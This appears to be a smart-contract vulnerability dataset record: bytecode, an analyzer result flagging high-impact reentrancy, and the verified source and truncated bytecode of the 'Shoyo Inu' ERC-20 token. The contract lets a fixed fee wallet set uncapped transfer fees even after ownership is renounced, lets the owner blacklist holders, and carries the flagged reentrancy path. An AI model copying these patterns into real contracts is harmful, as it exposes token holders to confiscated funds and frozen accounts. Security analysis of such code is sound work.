ff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612d1982600654612b9f90919063ffffffff16565b600681905550612d3481600754612be990919063ffffffff16565b6007819055505050565b600080600080612d6a6064612d5c888a612e5d90919063ffffffff16565b6127d890919063ffffffff16565b90506000612d946064612d86888b612e5d90919063ffffffff16565b6127d890919063ffffffff16565b90506000612dbd82612daf858c612b9f90919063ffffffff16565b612b9f90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ded8589612e5d90919063ffffffff16565b90506000612e048689612e5d90919063ffffffff16565b90506000612e1b8789612e5d90919063ffffffff16565b90506000612e4482612e368587612b9f90919063ffffffff16565b612b9f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612e705760009050612ed2565b60008284612e7e9190613a72565b9050828482612e8d9190613a41565b14612ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ec4906137b5565b60405180910390fd5b809150505b92915050565b6000612eeb612ee68461396a565b613945565b90508083825260208201905082856020860282011115612f0e57612f0d613d10565b5b60005b85811015612f3e5781612f248882612f48565b845260208401935060208301925050600181019050612f11565b5050509392505050565b600081359050612f57816141d7565b92915050565b600081519050612f6c816141d7565b92915050565b60008083601f840112612f8857612f87613d0b565b5b8235905067ffffffffffffffff811115612fa557612fa4613d06565b5b602083019150836020820283011115612fc157612fc0613d10565b5b9250929050565b600082601f830112612fdd57612fdc613d0b565b5b8135612fed848260208601612ed8565b91505092915050565b600081359050613005816141ee565b92915050565b60008135905061301a81614205565b92915050565b60006020828403121561303657613035613d1a565b5b600061304484828501612f48565b91505092915050565b60006020828403121561306357613062613d1a565b5b600061307184828501612f5d565b91505092915050565b6000806040838503121561309157613090613d1a565b5b600061309f85828601612f48565b92505060206130b085828601612f48565b9150509250929050565b6000806000606084860312156130d3576130d2613d1a565b5b60006130e186828701612f48565b93505060206130f286828701612f48565b92505060406131038682870161300b565b9150509250925092565b6000806040838503121561312457613123613d1a565b5b600061313285828601612f48565b92505060206131438582860161300b565b9150509250929050565b60008060006040848603121561316657613165613d1a565b5b600084013567ffffffffffffffff81111561318457613183613d15565b5b61319086828701612f72565b935093505060206131a386828701612ff6565b9150509250925092565b6000602082840312156131c3576131c2613d1a565b5b600082013567ffffffffffffffff8111156131e1576131e0613d15565b5b6131ed84828501612fc8565b91505092915050565b60006020828403121561320c5761320b613d1a565b5b600061321a84828501612ff6565b91505092915050565b60006020828403121561323957613238613d1a565b5b60006132478482850161300b565b91505092915050565b6000806000806080858703121561326a57613269613d1a565b5b60006132788782880161300b565b94505060206132898782880161300b565b935050604061329a8782880161300b565b92505060606132ab8782880161300b565b91505092959194509250565b60006132c383836132cf565b60208301905092915050565b6132d881613b00565b82525050565b6132e781613b00565b82525050565b60006132f8826139a6565b61330281856139c9565b935061330d83613996565b8060005b8381101561333e57815161332588826132b7565b9750613330836139bc565b925050600181019050613311565b5085935050505092915050565b61335481613b12565b82525050565b61336381613b55565b82525050565b61337281613b67565b82525050565b6000613383826139b1565b61338d81856139da565b935061339d818560208601613b9d565b6133a681613d1f565b840191505092915050565b60006133be6023836139da565b91506133c982613d30565b604082019050919050565b60006133e1603f836139da565b91506133ec82613d7f565b604082019050919050565b6000613404602a836139da565b915061340f82613dce565b604082019050919050565b6000613427601c836139da565b915061343282613e1d565b602082019050919050565b600061344a6026836139da565b915061345582613e46565b604082019050919050565b600061346d6022836139da565b915061347882613e95565b604082019050919050565b60006134906023836139da565b915061349b82613ee4565b604082019050919050565b60006134b3601b836139da565b91506134be82613f33565b602082019050919050565b60006134d66016836139da565b91506134e182613f5c565b602082019050919050565b60006134f96021836139da565b915061350482613f85565b604082019050919050565b600061351c6020836139da565b915061352782613fd4565b602082019050919050565b600061353f6029836139da565b915061354a82613ffd565b604082019050919050565b60006135626025836139da565b915061356d8261404c565b604082019050919050565b60006135856023836139da565b91506135908261409b565b604082019050919050565b60006135a86024836139da565b91506135b3826140ea565b604082019050919050565b60006135cb6028836139da565b91506135d682614139565b604082019050919050565b60006135ee6026836139da565b91506135f982614188565b604082019050919050565b61360d81613b3e565b82525050565b61361c81613b48565b82525050565b600060208201905061363760008301846132de565b92915050565b6000602082019050613652600083018461334b565b92915050565b600060208201905061366d600083018461335a565b92915050565b6000602082019050818103600083015261368d8184613378565b905092915050565b600060208201905081810360008301526136ae816133b1565b9050919050565b600060208201905081810360008301526136ce816133d4565b9050919050565b600060208201905081810360008301526136ee816133f7565b9050919050565b6000602082019050818103600083015261370e8161341a565b9050919050565b6000602082019050818103600083015261372e8161343d565b9050919050565b6000602082019050818103600083015261374e81613460565b9050919050565b6000602082019050818103600083015261376e81613483565b9050919050565b6000602082019050818103600083015261378e816134a6565b9050919050565b600060208201905081810360008301526137ae816134c9565b9050919050565b600060208201905081810360008301526137ce816134ec565b9050919050565b600060208201905081810360008301526137ee8161350f565b9050919050565b6000602082019050818103600083015261380e81613532565b9050919050565b6000602082019050818103600083015261382e81613555565b9050919050565b6000602082019050818103600083015261384e81613578565b9050919050565b6000602082019050818103600083015261386e8161359b565b9050919050565b6000602082019050818103600083015261388e816135be565b9050919050565b600060208201905081810360008301526138ae816135e1565b9050919050565b60006020820190506138ca6000830184613604565b92915050565b600060a0820190506138e56000830188613604565b6138f26020830187613369565b818103604083015261390481866132ed565b905061391360608301856132de565b6139206080830184613604565b9695505050505050565b600060208201905061393f6000830184613613565b92915050565b600061394f613960565b905061395b8282613bd0565b919050565b6000604051905090565b600067ffffffffffffffff82111561398557613984613cd7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006139f682613b3e565b9150613a0183613b3e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a3657613a35613c4a565b5b828201905092915050565b6000613a4c82613b3e565b9150613a5783613b3e565b925082613a6757613a66613c79565b5b828204905092915050565b6000613a7d82613b3e565b9150613a8883613b3e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ac157613ac0613c4a565b5b828202905092915050565b6000613ad782613b3e565b9150613ae283613b3e565b925082821015613af557613af4613c4a565b5b828203905092915050565b6000613b0b82613b1e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613b6082613b79565b9050919050565b6000613b7282613b3e565b9050919050565b6000613b8482613b8b565b9050919050565b6000613b9682613b1e565b9050919050565b60005b83811015613bbb578082015181840152602081019050613ba0565b83811115613bca576000848401525b50505050565b613bd982613d1f565b810181811067ffffffffffffffff82111715613bf857613bf7613cd7565b5b80604052505050565b6000613c0c82613b3e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613c3f57613c3e613c4a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f46656573206d75737420626520756e6465722032352500000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f7420736574206d617857616c6c657453697a65206c6f776572207460008201527f68616e20302e3125000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f7420736574206d61785478416d6f756e74206c6f7765722074686160008201527f6e20302e31250000000000000000000000000000000000000000000000000000602082015250565b6141e081613b00565b81146141eb57600080fd5b50565b6141f781613b12565b811461420257600080fd5b50565b61420e81613b3e565b811461421957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122041509f7a80ba8efe38a5decada3eed2de4e5d90e23c6bd8ef92da144f4141b6964736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,962 |
0x1f2ce7ea998ae34e57581765321ee466b092c9ba
|
/**
*Submitted for verification at Etherscan.io on 2021-11-13
*/
/**
**/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ShoyoInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 1;
uint256 private _feeAddr2 = 10;
address payable private _feeAddrWallet1 = payable(0x93d5030fBFEE4F3E283D007E7A70fc3962663c9a);
address payable private _feeAddrWallet2 = payable(0x977a0E46b19d25e9f952aab5724a12fA34632B23);
string private constant _name = "Shoyo Inu";
string private constant _symbol = "SHOYO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a1461031f578063c3c8cd801461033f578063c9567bf914610354578063cfe81ba014610369578063dd62ed3e1461038957600080fd5b8063715018a614610274578063842b7c08146102895780638da5cb5b146102a957806395d89b41146102d1578063a9059cbb146102ff57600080fd5b8063273123b7116100e7578063273123b7146101e1578063313ce567146102035780635932ead11461021f5780636fc3eaec1461023f57806370a082311461025457600080fd5b806306fdde0314610124578063095ea7b31461016857806318160ddd1461019857806323b872dd146101c157600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600981526853686f796f20496e7560b81b60208201525b60405161015f919061187b565b60405180910390f35b34801561017457600080fd5b50610188610183366004611702565b6103cf565b604051901515815260200161015f565b3480156101a457600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161015f565b3480156101cd57600080fd5b506101886101dc3660046116c1565b6103e6565b3480156101ed57600080fd5b506102016101fc36600461164e565b61044f565b005b34801561020f57600080fd5b506040516009815260200161015f565b34801561022b57600080fd5b5061020161023a3660046117fa565b6104a3565b34801561024b57600080fd5b506102016104eb565b34801561026057600080fd5b506101b361026f36600461164e565b610518565b34801561028057600080fd5b5061020161053a565b34801561029557600080fd5b506102016102a4366004611834565b6105ae565b3480156102b557600080fd5b506000546040516001600160a01b03909116815260200161015f565b3480156102dd57600080fd5b5060408051808201909152600581526453484f594f60d81b6020820152610152565b34801561030b57600080fd5b5061018861031a366004611702565b610605565b34801561032b57600080fd5b5061020161033a36600461172e565b610612565b34801561034b57600080fd5b506102016106a8565b34801561036057600080fd5b506102016106de565b34801561037557600080fd5b50610201610384366004611834565b610aa7565b34801561039557600080fd5b506101b36103a4366004611688565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103dc338484610afe565b5060015b92915050565b60006103f3848484610c22565b610445843361044085604051806060016040528060288152602001611a67602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f05565b610afe565b5060019392505050565b6000546001600160a01b031633146104825760405162461bcd60e51b8152600401610479906118d0565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104cd5760405162461bcd60e51b8152600401610479906118d0565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050b57600080fd5b4761051581610f3f565b50565b6001600160a01b0381166000908152600260205260408120546103e090610fc4565b6000546001600160a01b031633146105645760405162461bcd60e51b8152600401610479906118d0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146106005760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610479565b600a55565b60006103dc338484610c22565b6000546001600160a01b0316331461063c5760405162461bcd60e51b8152600401610479906118d0565b60005b81518110156106a45760016006600084848151811061066057610660611a17565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069c816119e6565b91505061063f565b5050565b600c546001600160a01b0316336001600160a01b0316146106c857600080fd5b60006106d330610518565b905061051581611048565b6000546001600160a01b031633146107085760405162461bcd60e51b8152600401610479906118d0565b600f54600160a01b900460ff16156107625760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610479565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a230826b033b2e3c9fd0803ce8000000610afe565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107db57600080fd5b505afa1580156107ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610813919061166b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085b57600080fd5b505afa15801561086f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610893919061166b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108db57600080fd5b505af11580156108ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610913919061166b565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061094381610518565b6000806109586000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109bb57600080fd5b505af11580156109cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f4919061184d565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a6f57600080fd5b505af1158015610a83573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a49190611817565b600d546001600160a01b0316336001600160a01b031614610af95760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610479565b600b55565b6001600160a01b038316610b605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610479565b6001600160a01b038216610bc15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610479565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c865760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610479565b6001600160a01b038216610ce85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610479565b60008111610d4a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610479565b6000546001600160a01b03848116911614801590610d7657506000546001600160a01b03838116911614155b15610ef5576001600160a01b03831660009081526006602052604090205460ff16158015610dbd57506001600160a01b03821660009081526006602052604090205460ff16155b610dc657600080fd5b600f546001600160a01b038481169116148015610df15750600e546001600160a01b03838116911614155b8015610e1657506001600160a01b03821660009081526005602052604090205460ff16155b8015610e2b5750600f54600160b81b900460ff165b15610e8857601054811115610e3f57600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6357600080fd5b610e6e42601e611976565b6001600160a01b0383166000908152600760205260409020555b6000610e9330610518565b600f54909150600160a81b900460ff16158015610ebe5750600f546001600160a01b03858116911614155b8015610ed35750600f54600160b01b900460ff165b15610ef357610ee181611048565b478015610ef157610ef147610f3f565b505b505b610f008383836111d1565b505050565b60008184841115610f295760405162461bcd60e51b8152600401610479919061187b565b506000610f3684866119cf565b95945050505050565b600c546001600160a01b03166108fc610f598360026111dc565b6040518115909202916000818181858888f19350505050158015610f81573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f9c8360026111dc565b6040518115909202916000818181858888f193505050501580156106a4573d6000803e3d6000fd5b600060085482111561102b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610479565b600061103561121e565b905061104183826111dc565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061109057611090611a17565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110e457600080fd5b505afa1580156110f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111c919061166b565b8160018151811061112f5761112f611a17565b6001600160a01b039283166020918202929092010152600e546111559130911684610afe565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061118e908590600090869030904290600401611905565b600060405180830381600087803b1580156111a857600080fd5b505af11580156111bc573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f00838383611241565b600061104183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611338565b600080600061122b611366565b909250905061123a82826111dc565b9250505090565b600080600080600080611253876113ae565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611285908761140b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112b4908661144d565b6001600160a01b0389166000908152600260205260409020556112d6816114ac565b6112e084836114f6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161132591815260200190565b60405180910390a3505050505050505050565b600081836113595760405162461bcd60e51b8152600401610479919061187b565b506000610f36848661198e565b60085460009081906b033b2e3c9fd0803ce800000061138582826111dc565b8210156113a5575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113cb8a600a54600b5461151a565b92509250925060006113db61121e565b905060008060006113ee8e87878761156f565b919e509c509a509598509396509194505050505091939550919395565b600061104183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f05565b60008061145a8385611976565b9050838110156110415760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610479565b60006114b661121e565b905060006114c483836115bf565b306000908152600260205260409020549091506114e1908261144d565b30600090815260026020526040902055505050565b600854611503908361140b565b600855600954611513908261144d565b6009555050565b6000808080611534606461152e89896115bf565b906111dc565b90506000611547606461152e8a896115bf565b9050600061155f826115598b8661140b565b9061140b565b9992985090965090945050505050565b600080808061157e88866115bf565b9050600061158c88876115bf565b9050600061159a88886115bf565b905060006115ac82611559868661140b565b939b939a50919850919650505050505050565b6000826115ce575060006103e0565b60006115da83856119b0565b9050826115e7858361198e565b